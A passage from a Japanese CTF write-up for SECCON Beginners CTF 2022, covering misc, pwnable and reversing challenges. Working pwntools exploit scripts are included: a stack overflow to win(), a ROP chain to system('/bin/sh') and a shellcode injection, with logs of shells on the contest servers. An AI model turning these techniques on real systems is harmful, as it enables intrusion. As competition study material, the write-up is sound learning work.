d\x2b\x57\x4a\x38\x2d\x2b\x4d\x47\x34\x2d\x2b\x2b\x4d\x4b\x51\x2d\x2b\x4d\x4d\x45\x2d\x2b\x4d\x4c\x67\x2d\x2b\x4d\x4b\x38\x2d\x2b\x4d\x47\x34\x2d\x2b\x4d\x4c\x38\x2d\x2b\x4d\x2b\x4d\x4d\x6b\x2d\x2b\x4d\x4f\x30\x2d\x2b\x4d\x4f\x30\x2d\x2b\x4d\x50\x77\x2d\x2b\x4d\x4c\x55\x2d\x2b\x4d\x48\x67\x2d\x2b\x4d\x2b\x63\x6e\x6b\x2d\x2b\x64\x58\x41\x2d\x2b\x63\x2b\x4d\x4c\x67\x2d\x2b\x4d\x4f\x63\x2d\x2b\x4d\x4d\x4d\x2d\x2b\x2b\x57\x53\x6b\x2d\x2b\x54\x33\x2b\x66\x53\x73\x2d\x2b\x6c\x6e\x30\x2d\x2b\x67"); return 0;} ls flag.txt main.py redir.sh rule.yara cat flag.txt ctf4b{SAT_Solver_c4n_50lv3_54t15f1461l1ty_pr06l3m5} exit らせん階段廃墟の街イチジクのタルトドロローサへの道特異点天使紫陽花�J�u�g���p�Ђ̊X�C�`�W�N�̃^���g���ٓ_�W���b�g�V�g���z�Ԕ閧�̍c��0�0[0���k�^�X�0n�W0�0�0�0�0n0�0�0�0�0�0�0�0�0x0n�Sryupp�Y)O}+�}��y�[�0nv�^+MIk-+MFs-+MJM-+lo4-+MEs-+MH+XsM-+WJ8-+MG4-++MKQ-+MME-+MLg-+MK8-+MG4-+ML8-+M+MMk-+MO0-+MO0-+MPw-+MLU-+MHg-+M+cnk-+dXA-+c+MLg-+MOc-+MMM-++WSk-+T3+fSs-+ln0-+g Not matched. Have Fun! $
フラグを入手できました: ctf4b{SAT_Solver_c4n_50lv3_54t15f1461l1ty_pr06l3m5}
(YARA検知内容はUTF-8の文字列のようです。何か元ネタがあるんでしょうか?)
[misc, medium] hitchhike4b (125 team solved, 91 pt)
helpを呼び出したら、ページャーとして猫が来ました。 nc hitchhike4b.quals.beginners.seccon.jp 55433
配布ファイルはありません。とりあえず接続しました:
$ nc hitchhike4b.quals.beginners.seccon.jp 55433 _ _ _ _ _ _ _ _ _ _ | |__ (_) |_ ___| |__ | |__ (_) | _____| || | | |__ | '_ \| | __/ __| '_ \| '_ \| | |/ / _ \ || |_| '_ \ | | | | | || (__| | | | | | | | < __/__ _| |_) | |_| |_|_|\__\___|_| |_|_| |_|_|_|\_\___| |_| |_.__/ ---------------------------------------------------------------------------------------------------- # Source Code import os os.environ["PAGER"] = "cat" # No hitchhike(SECCON 2021) if __name__ == "__main__": flag1 = "********************FLAG_PART_1********************" help() # I need somebody ... if __name__ != "__main__": flag2 = "********************FLAG_PART_2********************" help() # Not just anybody ... ---------------------------------------------------------------------------------------------------- Welcome to Python 3.10's help utility! If this is your first time using Python, you should definitely check out the tutorial on the internet at https://docs.python.org/3.10/tutorial/. Enter the name of any module, keyword, or topic to get help on writing Python programs and using Python modules. To quit this help utility and return to the interpreter, just type "quit". To get a list of available modules, keywords, symbols, or topics, type "modules", "keywords", "symbols", or "topics". Each module also comes with a one-line summary of what it does; to list the modules whose name or summary contain a given string such as "spam", type "modules spam". help>
なるほどページャーにはcatコマンドが設定されています。トップレベルの変数を何らかの名前空間(?)で参照できるか試行錯誤していると、__main__
でうまくいきました:
help> __main__ Help on module __main__: NAME __main__ DATA __annotations__ = {} flag1 = 'ctf4b{53cc0n_15_1n_m' FILE /home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py help>
フラグの前半が手に入りました。また、ファイル名も手に入りました。もしかするとファイル名を入れたらimport相当のことがされるのではと考えました:
help> app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc _ _ _ _ _ _ _ _ _ _ | |__ (_) |_ ___| |__ | |__ (_) | _____| || | | |__ | '_ \| | __/ __| '_ \| '_ \| | |/ / _ \ || |_| '_ \ | | | | | || (__| | | | | | | | < __/__ _| |_) | |_| |_|_|\__\___|_| |_|_| |_|_|_|\_\___| |_| |_.__/ ---------------------------------------------------------------------------------------------------- # Source Code import os os.environ["PAGER"] = "cat" # No hitchhike(SECCON 2021) if __name__ == "__main__": flag1 = "********************FLAG_PART_1********************" help() # I need somebody ... if __name__ != "__main__": flag2 = "********************FLAG_PART_2********************" help() # Not just anybody ... ---------------------------------------------------------------------------------------------------- Welcome to Python 3.10's help utility! If this is your first time using Python, you should definitely check out the tutorial on the internet at https://docs.python.org/3.10/tutorial/. Enter the name of any module, keyword, or topic to get help on writing Python programs and using Python modules. To quit this help utility and return to the interpreter, just type "quit". To get a list of available modules, keywords, symbols, or topics, type "modules", "keywords", "symbols", or "topics". Each module also comes with a one-line summary of what it does; to list the modules whose name or summary contain a given string such as "spam", type "modules spam". help> app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc Help on module app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc: NAME app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc DATA flag2 = 'y_34r5_4nd_1n_my_3y35}' FILE /home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py help>
無事後半も手に入りました。前半と後半を結合してフラグを入手できました: ctf4b{53cc0n_15_1n_my_34r5_4nd_1n_my_3y35}
[pwnable, beginner] BeginnersBof (155 team solved, 84 pt)
Pwnってこういうのだけじゃないらしいですが,多分これだけでもできればすごいと思います. nc beginnersbof.quals.beginners.seccon.jp 9000 BeginnersBof.tar.gz 30b2f7613172b9f192a4ee49dd304772fa1e1026
配布ファイルとして、src.c
と、そのコンパイル結果chall
がありました:
$ file * chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=86ef4ca27c36d4407e00eb318b228011ce11ac63, for GNU/Linux 3.2.0, not stripped src.c: C source, ASCII text $ pwn checksec chall [*] '/mnt/d/Documents/work/ctf/SECCON Beginners CTF 2022/BeginnersBof/chall' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) $
#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <err.h> #define BUFSIZE 0x10 void win() { char buf[0x100]; int fd = open("flag.txt", O_RDONLY); if (fd == -1) err(1, "Flag file not found...\n"); write(1, buf, read(fd, buf, sizeof(buf))); close(fd); } int main() { int len = 0; char buf[BUFSIZE] = {0}; puts("How long is your name?"); scanf("%d", &len); char c = getc(stdin); if (c != '\n') ungetc(c, stdin); puts("What's your name?"); fgets(buf, len, stdin); printf("Hello %s", buf); } __attribute__((constructor)) void init() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(60); }
ローカル変数buf
に対するfgetsの長さを自由に与えられるのでスタックオーバーフローできます。カナリアもないので戻りアドレスを改ざんできます。IDAでスタックのレイアウトを確認して、以下のソルバーを書きました:
#!/usr/bin/env python3 import pwn BIN_NAME = "./chall" pwn.context.binary = BIN_NAME def solve(tube): elf = pwn.ELF(BIN_NAME) tube.sendlineafter(b"How long is your name?", b"64") win_addr = elf.symbols["win"] print(f"{hex(win_addr) = }") tube.sendlineafter(b"What's your name?", pwn.flat(b"A"*(0x20 + 8), win_addr)) print(tube.recvall()) with pwn.remote("beginnersbof.quals.beginners.seccon.jp", 9000) as tube: solve(tube) # with pwn.process(BIN_NAME) as tube: solve(tube) # with pwn.gdb.debug(BIN_NAME, "b *0x401315\nc") as tube: solve(tube)
実行しました:
$ ./solve.py [*] '/mnt/d/Documents/work/ctf/SECCON Beginners CTF 2022/BeginnersBof/chall' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to beginnersbof.quals.beginners.seccon.jp on port 9000: Done hex(win_addr) = '0x4011e6' [+] Receiving all data: Done (106B) [*] Closed connection to beginnersbof.quals.beginners.seccon.jp port 9000 b'\nHello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe6\x11@ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}\nSegmentation fault\n' $
フラグを入手できました: ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}
[pwnable, easy] raindrop (52 team solved, 134 pt)
おぼえていますか? nc raindrop.quals.beginners.seccon.jp 9001 raindrop.tar.gz d6af5202e0af725b281f8771efa594b133955a46
非常に悩んだ問題です。配布ファイルには、src.c
と、そのコンパイル結果chall
、それとヒントのwelcome.txt
がありました。
$ file * chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cba1707049faf8a4e56b2adfe2b8e9813e087e12, for GNU/Linux 3.2.0, not stripped src.c: C source, ASCII text welcome.txt: ASCII text $ pwn checksec chall [*] '/mnt/d/Documents/work/ctf/SECCON Beginners CTF 2022/raindrop/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) $ cat welcome.txt Hey! You are now going to try a simple problem using stack buffer overflow and ROP. I will list some keywords that will give you hints, so please look them up if you don't understand them. - stack buffer overflow - return oriented programming - calling conventions $
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define BUFF_SIZE 0x10 void help() { system("cat welcome.txt"); } void show_stack(void *); void vuln(); int main() { vuln(); } void vuln() { char buf[BUFF_SIZE] = {0}; show_stack(buf); puts("You can earn points by submitting the contents of flag.txt"); puts("Did you understand?") ; read(0, buf, 0x30); puts("bye!"); show_stack(buf); } void show_stack(void *ptr) { puts("stack dump..."); printf("\n%-8s|%-20s\n", "[Index]", "[Value]"); puts("========+==================="); for (int i = 0; i < 5; i++) { unsigned long *p = &((unsigned long*)ptr)[i]; printf(" %06d | 0x%016lx ", i, *p); if (p == ptr) printf(" <- buf"); if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE)) printf(" <- saved rbp"); if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE + 0x8)) printf(" <- saved ret addr"); puts(""); } puts("finish"); } __attribute__((constructor)) void init() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); help(); alarm(60); }
buf
ローカル変数に対して0x30サイズだけreadしているのでスタックオーバーフローが可能です。しかしIDAでスタックのレイアウトを見ると、ROP CHAINを書き込めるのはsaved rdbがある都合で3回分だけのことがわかりました。また、ライブラリは動的リンクであるためOneGadgetもなさそうです。以下考えたことです:
- 3回分のROP CHAINでシェルを取れるか?execvを発動するにはガジェットもサイズも足りない。→pop rdiとpop対象のアドレス、systemのアドレスでぎりぎり足りる?
- シェルを取るとして
/bin/sh
はバイナリ中にはない。どこへ用意する?→buf冒頭部分に入れれば良さそう! - bufのアドレスは分かるか?→
show_stack
でsaved rbpが分かり、そこからの相対位置でわかる!
これらの考えからソルバーを書きつついろいろ試したのですが、system関数中で変なアドレスへ飛んでSegmantation Faultが起こったりしていました。おそらくRSPを8バイトずらせればよくて、nop; ret
ガジェットを挟むことができれば解決できそうなのですが、前述の通りガジェットサイズの制限の都合で挟めません。vuln関数へ1回戻らせてスタックを調整する手法も試しましたがうまくいきませんでした。
終了30分前になって、「今まではPLTのsystem関数をガジェットとして使っていたが、help関数中のcall systemをガジェットに使えばRSPの8バイト調整出来るのでは?」と閃きました:
#!/usr/bin/env python3 import pwn BIN_NAME = "./chall" pwn.context.binary = BIN_NAME def solve(tube): elf = pwn.ELF(BIN_NAME) addr_system = elf.plt["system"] rop_nop = 0x40114f # nop; ret rop_pop_rdi = 0x401453 rop_call_system = 0x4011E5 command = b"/bin/sh".ljust(0x10 + 8, b"\x00") # gdbで実験すると、saved_rbpが「0x00007fffffffe4c0」のとき、bufは「0x7fffffffe4a0」だった tube.recvuntil(b" 000002 | ") saved_rbp = int(tube.recvuntil(b" <-")[:-2], 16) print(hex(saved_rbp)) addr_buf = saved_rbp - 0x00007fffffffe4c0 + 0x7fffffffe4a0 # payload = pwn.flat(command, rop_pop_rdi, addr_buf, addr_system) # addr_systemだとRIPアライメントの問題か、XMM関係の処理時にセグフォった payload = pwn.flat(command, rop_pop_rdi, addr_buf, rop_call_system) tube.sendafter(b"Did you understand?", payload) tube.recvuntil(b"finish") tube.interactive() # print(tube.recvall()) with pwn.remote("raindrop.quals.beginners.seccon.jp", 9001) as tube: solve(tube) # with pwn.process(BIN_NAME) as tube: solve(tube) # with pwn.gdb.debug(BIN_NAME, "set follow-fork-mode parent\nb *0x401276\nc") as tube: solve(tube)
実行しました:
$ ./solve.py [*] '/mnt/d/Documents/work/ctf/SECCON Beginners CTF 2022/raindrop/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to raindrop.quals.beginners.seccon.jp on port 9001: Done 0x7ffe1f1227a0 [*] Switching to interactive mode $ ls chall flag.txt redir.sh welcome.txt $ cat flag.txt ctf4b{th053_d4y5_4r3_g0n3_f0r3v3r} $ [*] Closed connection to raindrop.quals.beginners.seccon.jp port 9001 $
フラグを入手できました: ctf4b{th053_d4y5_4r3_g0n3_f0r3v3r}
(ローカル実行では、Ubuntu 18.04ではシェルを取れ、Ubuntu 22.04ではSegmantation Faultになりました。何に依存してしまっているのでしょう……?)
(2022/06/11(土) 追記: __attribute__((constructor))
属性のある関数、つまりmain関数よりも先に呼ばれる関数でsystem("cat welcome.txt")
を行っているため、gdb-pedaでプログラム本体をデバッグする場合はset follow-fork-mode parent
が必要です。毎回この挙動にしばらく悩まされます。どうしてpedaはpeda.execute("set follow-fork-mode child")
とわざわざ変更しているのでしょう……)
[pwnable, medium] snowdrop (44 team solved, 144 pt)
これでもうあの危険なone gadgetは使わせないよ! nc snowdrop.quals.beginners.seccon.jp 9002 snowdrop.tar.gz 86d1e4d9deb0885ec00eb80667270a0371915768
配布ファイルとして、src.c
と、そのコンパイル結果chall
がありました:
$ file * chall: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=9e7476418f9c7f3e7069f3b041c09ed5e46aa64f, for GNU/Linux 3.2.0, not stripped src.c: C source, ASCII text $ pwn checksec chall [*] '/mnt/d/Documents/work/ctf/SECCON Beginners CTF 2022/snowdrop/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments $
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define BUFF_SIZE 0x10 void show_stack(void *); int main() { char buf[BUFF_SIZE] = {0}; show_stack(buf); puts("You can earn points by submitting the contents of flag.txt"); puts("Did you understand?") ; gets(buf); puts("bye!"); show_stack(buf); } void show_stack(void *ptr) { puts("stack dump..."); printf("\n%-8s|%-20s\n", "[Index]", "[Value]"); puts("========+==================="); for (int i = 0; i < 8; i++) { unsigned long *p = &((unsigned long*)ptr)[i]; printf(" %06d | 0x%016lx ", i, *p); if (p == ptr) printf(" <- buf"); if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE)) printf(" <- saved rbp"); if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE + 0x8)) printf(" <- saved ret addr"); puts(""); } puts("finish"); } __attribute__((constructor)) void init() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(60); }
今回はgetsなのでいくらでもスタックに書き込めます。checksecではカナリアがあると言っていますが、main関数の処理を見るとカナリア処理はありませんでした。おそらく静的リンクされているlibc側で検出したのだと思います。また、NXも無効なのでシェルコードを書き込んで実行させるのが簡単そうです。この問題でもsaved rbpからbufのアドレスを計算できます。これらを利用してソルバーを書きました:
#!/usr/bin/env python3 import pwn BIN_NAME = "./chall" pwn.context.binary = BIN_NAME def solve(tube): tube.recvuntil(b" 000006 | ") addr_related_to_stack = int(tube.recvline(), 16) addr_buf = addr_related_to_stack - 0x00007fffffffe5d8 + 0x7fffffffe370 print(f"{hex(addr_buf)=}") addr_shellcode = addr_buf + 0x10 + 0x10 shellcode = pwn.asm(pwn.shellcraft.amd64.linux.sh()) payload = pwn.flat(b"A"*(0x10+8), addr_shellcode, shellcode) assert b"\n" not in payload tube.sendlineafter(b"Did you understand?", payload) tube.interactive() with pwn.remote("snowdrop.quals.beginners.seccon.jp", 9002) as tube: solve(tube) # with pwn.process(BIN_NAME) as tube: solve(tube) # with pwn.gdb.debug(BIN_NAME, "b *0x401970\nc\n") as tube: solve(tube)
実行しました:
$ ./solve.py [*] '/mnt/d/Documents/work/ctf/SECCON Beginners CTF 2022/snowdrop/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments [+] Opening connection to snowdrop.quals.beginners.seccon.jp on port 9002: Done hex(addr_buf)='0x7ffe6e705290' [*] Switching to interactive mode bye! stack dump... [Index] |[Value] ========+=================== 000000 | 0x4141414141414141 <- buf 000001 | 0x4141414141414141 000002 | 0x4141414141414141 <- saved rbp 000003 | 0x00007ffe6e7052b0 <- saved ret addr 000004 | 0x6e69622fb848686a 000005 | 0xe7894850732f2f2f 000006 | 0x2434810101697268 000007 | 0x6a56f63101010101 finish $ ls chall flag.txt redir.sh $ cat flag.txt ctf4b{h1ghw4y_t0_5h3ll} $ [*] Closed connection to snowdrop.quals.beginners.seccon.jp port 9002 $
フラグを入手できました: ctf4b{h1ghw4y_t0_5h3ll}
[reversing, beginner] Quiz (650 team solved, 50 pt)
クイズに答えよう! quiz.tar.gz a7f225b59176baa3d888c6fc7452f8df9a58e204
配布ファイルとしてquiz
がありました。Beginnerならstringsでいけるかなと試したら行けました:
$ file * quiz: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3c3ecb93f6ca813352964076835ff6712fe9554e, for GNU/Linux 3.2.0, not stripped $ strings quiz | grep ctf4b ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?} $
フラグを入手できました: ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}
この文章を書いている間に全うに実行しました。想定解法もstringsのようです:
$ ./quiz Welcome, it's time for the binary quiz! ようこそ、バイナリクイズの時間です! Q1. What is the executable file's format used in Linux called? Linuxで使われる実行ファイルのフォーマットはなんと呼ばれますか? 1) ELM 2) ELF 3) ELR Answer : 2 Correct! Q2. What is system call number 59 on 64-bit Linux? 64bit Linuxにおけるシステムコール番号59はなんでしょうか? 1) execve 2) folk 3) open Answer : 1 Correct! Q3. Which command is used to extract the readable strings contained in the file? ファイルに含まれる可読文字列を抽出するコマンドはどれでしょうか? 1) file 2) strings 3) readelf Answer : 2 Correct! Q4. What is flag? フラグはなんでしょうか? Answer : ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?} Correct! Flag is ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?} $
[reversing, easy] WinTLS (102 team solved, 100 pt)
TLSってなんだぁ? wintls.tar.gz 4607f34efbcbc99137e684c00d7e4cb4425ec358
配布ファイルとして、chall.exe
がありました(Google ChromeやWindowsがマルウェア判定したので一時的に無効化したりしました):
$ file * chall.exe: PE32+ executable (GUI) x86-64, for MS Windows $
Windows SandBox上でとりあえず実行すると、GUIでフラグ入力欄があり、正しいかそうでないかを判定してくれるプログラムのようでした。IDAで見ると、check
関数でTlsGetValue
結果と引数が一致するかを検証しており、2つの関数でcheck
関数とTlsSetValue
を呼び出していました。その2つの関数の引数には入力文字列が来ると信じて、フラグを復号するソルバーを書きました:
#!/usr/bin/env python3 t1 = "c4{fAPu8#FHh2+0cyo8$SWJH3a8X" t2 = "tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}" flag = "" for i in range(256): if (i%3==0 or i%5==0) and len(t1): flag += t1[0] t1 = t1[1:] elif len(t2): flag += t2[0] t2 = t2[1:] print(flag)
実行しました:
$ ./solve.py ctf4b{f%sAP$uT98Nv#FFHyrh2o+Lh0@8c9yoa98$ySoCW3rJPH3y&a83Xb} $
フラグを入手できました: ctf4b{f%sAP$uT98Nv#FFHyrh2o+Lh0@8c9yoa98$ySoCW3rJPH3y&a83Xb}
[reversing, easy] Recursive (127 team solved, 91 pt)
このファイルは中でどんな処理をしているんだろう? バイナリ解析ツールで調べてみようかな recursive.tar.gz 0b40c31c8f9712f8400eb21e88ed26929e84acd7
配布ファイルとして、chall
がありました:
$ file * recursive: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=82b2c7b000825dccd1ae8736ff926c61ae8c570d, for GNU/Linux 3.2.0, not stripped $ ./recursive ▄▀▀▄▀▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▄▄▄▄ ▄▀▀▄ ▄▀▀▄ ▄▀▀▄▀▀▀▄ ▄▀▀▀▀▄ ▄▀▀█▀▄ ▄▀▀▄ ▄▀▀▄ ▄▀▀█▄▄▄▄ █ █ █ ▐ ▄▀ ▐ █ █ ▌ █ █ █ █ █ █ █ █ ▐ █ █ █ █ █ █ ▐ ▄▀ ▐ ▐ █▀▀█▀ █▄▄▄▄▄ ▐ █ ▐ █ █ ▐ █▀▀█▀ ▀▄ ▐ █ ▐ ▐ █ █ █▄▄▄▄▄ ▄▀ █ █ ▌ █ █ █ ▄▀ █ ▀▄ █ █ █ ▄▀ █ ▌ █ █ ▄▀▄▄▄▄ ▄▀▄▄▄▄▀ ▀▄▄▄▄▀ █ █ █▀▀▀ ▄▀▀▀▀▀▄ ▀▄▀ ▄▀▄▄▄▄ ▐ ▐ █ ▐ █ ▐ ▐ ▐ ▐ █ █ █ ▐ ▐ ▐ ▐ ▐ ▐ FLAG: test Incorrect.
IDAで見ると、入力文字数が38文字であることを確認した後、以下のcheck関数で正誤判定をしていました:
// 64-bitプログラムなのでFree版IDAでもCloud-Basedの逆コンパイルができます __int64 __fastcall check(const char *pStr, unsigned int dwIndex) { int dwStrLength; // [rsp+14h] [rbp-1Ch] int dwMid; // [rsp+18h] [rbp-18h] char *pCopyed1; // [rsp+20h] [rbp-10h] char *pCopyed2; // [rsp+28h] [rbp-8h] dwStrLength = strlen(pStr); if ( dwStrLength == 1 ) { if ( table[dwIndex] != *pStr ) return 1LL; } else { dwMid = dwStrLength / 2; pCopyed1 = (char *)malloc(dwStrLength / 2); strncpy(pCopyed1, pStr, dwStrLength / 2); if ( (unsigned int)check(pCopyed1, dwIndex) == 1 ) return 1LL; pCopyed2 = (char *)malloc(dwStrLength - dwMid); strncpy(pCopyed2, &pStr[dwMid], dwStrLength - dwMid); if ( (unsigned int)check(pCopyed2, dwIndex + dwMid * dwMid) == 1 ) return 1LL; } return 0LL; }
後はグローバル変数のtable
内容を持ってきて、index関係で色々ミスをしながらソルバーを書きました:
#!/usr/bin/env python3 table_str = """ 63h, 74h, 60h, 2Ah, 66h, 34h, 28h, 2Bh, 62h, 63h, 39h 35h, 22h, 2Eh, 38h, 31h, 62h, 7Bh, 68h, 6Dh, 72h, 33h 63h, 2Fh, 7Dh, 72h, 40h, 3Ah, 7Bh, 26h, 3Bh, 35h, 31h 34h, 6Fh, 64h, 2Ah, 3Ch, 68h, 2Ch, 6Eh, 27h, 64h, 6Dh 78h, 77h, 3Fh, 6Ch, 65h, 67h, 28h, 79h, 6Fh, 29h, 6Eh 65h, 2Bh, 6Ah, 2Dh, 7Bh, 28h, 60h, 71h, 2Fh, 72h, 72h 33h, 7Ch, 28h, 24h, 30h, 2Bh, 35h, 73h, 2Eh, 7Ah, 7Bh 5Fh, 6Eh, 63h, 61h, 75h, 72h, 24h, 7Bh, 73h, 31h, 76h 35h, 25h, 21h, 70h, 29h, 68h, 21h, 71h, 27h, 74h, 3Ch 3Dh, 6Ch, 40h, 5Fh, 38h, 68h, 39h, 33h, 5Fh, 77h, 6Fh 63h, 34h, 6Ch, 64h, 25h, 3Eh, 3Fh, 63h, 62h, 61h, 3Ch 64h, 61h, 67h, 78h, 7Ch, 6Ch, 3Ch, 62h, 2Fh, 79h, 2Ch 79h, 60h, 6Bh, 2Dh, 37h, 7Bh, 3Dh, 3Bh, 7Bh, 26h, 38h 2Ch, 38h, 75h, 35h, 24h, 6Bh, 6Bh, 63h, 7Dh, 40h, 37h 71h, 40h, 3Ch, 74h, 6Dh, 30h, 33h, 3Ah, 26h, 2Ch, 66h 31h, 76h, 79h, 62h, 27h, 38h, 25h, 64h, 79h, 6Ch, 32h 28h, 67h, 3Fh, 37h, 31h, 37h, 71h, 23h, 75h, 3Eh, 66h 77h, 28h, 29h, 76h, 6Fh, 6Fh, 24h, 36h, 67h, 29h, 3Ah 29h, 5Fh, 63h, 5Fh, 2Bh, 38h, 76h, 2Eh, 67h, 62h, 6Dh 28h, 25h, 24h, 77h, 28h, 3Ch, 68h, 3Ah, 31h, 21h, 63h 27h, 72h, 75h, 76h, 7Dh, 40h, 33h, 60h, 79h, 61h, 21h 72h, 35h, 26h, 3Bh, 35h, 7Ah, 5Fh, 6Fh, 67h, 6Dh, 30h 61h, 39h, 63h, 32h, 33h, 73h, 6Dh, 77h, 2Dh, 2Eh, 69h 23h, 7Ch, 77h, 7Bh, 38h, 6Bh, 65h, 70h, 66h, 76h, 77h 3Ah, 33h, 7Ch, 33h, 66h, 35h, 3Ch, 65h, 40h, 3Ah, 7Dh 2Ah, 2Ch, 71h, 3Eh, 73h, 67h, 21h, 62h, 64h, 6Bh, 72h 30h, 78h, 37h, 40h, 3Eh, 68h, 2Fh, 35h, 2Ah, 68h, 69h 3Ch, 37h, 34h, 39h, 27h, 7Ch, 7Bh, 29h, 73h, 6Ah, 31h 3Bh, 30h, 2Ch, 24h, 69h, 67h, 26h, 76h, 29h, 3Dh, 74h 30h, 66h, 6Eh, 6Bh, 7Ch, 30h, 33h, 6Ah, 22h, 7Dh, 37h 72h, 7Bh, 7Dh, 74h, 69h, 7Dh, 3Fh, 5Fh, 3Ch, 73h, 77h 78h, 6Ah, 75h, 31h, 6Bh, 21h, 6Ch, 26h, 64h, 62h, 21h 6Ah, 3Ah, 7Dh, 21h, 7Ah, 7Dh, 36h, 2Ah, 60h, 31h, 5Fh 7Bh, 66h, 31h, 73h, 40h, 33h, 64h, 2Ch, 76h, 69h, 6Fh 34h, 35h, 3Ch, 5Fh, 34h, 76h, 63h, 5Fh, 76h, 33h, 3Eh 68h, 75h, 33h, 3Eh, 2Bh, 62h, 79h, 76h, 71h, 23h, 23h 40h, 66h, 2Bh, 29h, 6Ch, 63h, 39h, 31h, 77h, 2Bh, 39h 69h, 37h, 23h, 76h, 3Ch, 72h, 3Bh, 72h, 72h, 24h, 75h 40h, 28h, 61h, 74h, 3Eh, 76h, 6Eh, 3Ah, 37h, 62h, 60h 6Ah, 73h, 6Dh, 67h, 36h, 6Dh, 79h, 7Bh, 2Bh, 39h, 6Dh 5Fh, 2Dh, 72h, 79h, 70h, 70h, 5Fh, 75h, 35h, 6Eh, 2Ah 36h, 2Eh, 7Dh, 66h, 38h, 70h, 70h, 67h, 3Ch, 6Dh, 2Dh 26h, 71h, 71h, 35h, 6Bh, 33h, 66h, 3Fh, 3Dh, 75h, 31h 7Dh, 6Dh, 5Fh, 3Fh, 6Eh, 39h, 3Ch, 7Ch, 65h, 74h, 2Ah 2Dh, 2Fh, 25h, 66h, 67h, 68h, 2Eh, 31h, 6Dh, 28h, 40h 5Fh, 33h, 76h, 66h, 34h, 69h, 28h, 6Eh, 29h, 73h, 32h 6Ah, 76h, 67h, 30h, 6Dh, 34h """ table = "".join(map(lambda s: chr(int(s[:-1], 16)), table_str.strip().replace("\n", ", ").split(", "))) flag = ['*']*38 def check(begin, end, index): length = end - begin # print(f"{begin=}, {end=}, {index=}, {length=}") if length <= 1: if index < 512: flag[begin] = table[index] return mid = length // 2 if mid != 0: check(begin, begin+mid, index) check(begin+mid, end, index + mid*mid) check(0, 38, 0) print("".join(flag))
実行しました:
$ ./solve.py ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1} $ ./recursive ▄▀▀▄▀▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▄▄▄▄ ▄▀▀▄ ▄▀▀▄ ▄▀▀▄▀▀▀▄ ▄▀▀▀▀▄ ▄▀▀█▀▄ ▄▀▀▄ ▄▀▀▄ ▄▀▀█▄▄▄▄ █ █ █ ▐ ▄▀ ▐ █ █ ▌ █ █ █ █ █ █ █ █ ▐ █ █ █ █ █ █ ▐ ▄▀ ▐ ▐ █▀▀█▀ █▄▄▄▄▄ ▐ █ ▐ █ █ ▐ █▀▀█▀ ▀▄ ▐ █ ▐ ▐ █ █ █▄▄▄▄▄ ▄▀ █ █ ▌ █ █ █ ▄▀ █ ▀▄ █ █ █ ▄▀ █ ▌ █ █ ▄▀▄▄▄▄ ▄▀▄▄▄▄▀ ▀▄▄▄▄▀ █ █ █▀▀▀ ▄▀▀▀▀▀▄ ▀▄▀ ▄▀▄▄▄▄ ▐ ▐ █ ▐ █ ▐ ▐ ▐ ▐ █ █ █ ▐ ▐ ▐ ▐ ▐ ▐ FLAG: ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1} Correct! $
フラグを入手できました: ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1}
[reversing, medium] Ransom (61 team solved, 125 pt)
なんか怪しいファイルと通信記録を捉えました! あれ? ここにあった超重要機密ファイルの名前が変わっているぞ...? ※ 問題のテーマからするとファイルを削除する機能があるはずですが、デバッグのしやすさのためにファイルを削除する機能は外してあります ransom.tar.gz ae271e979e3b621a555add56dab9166ef2637c48
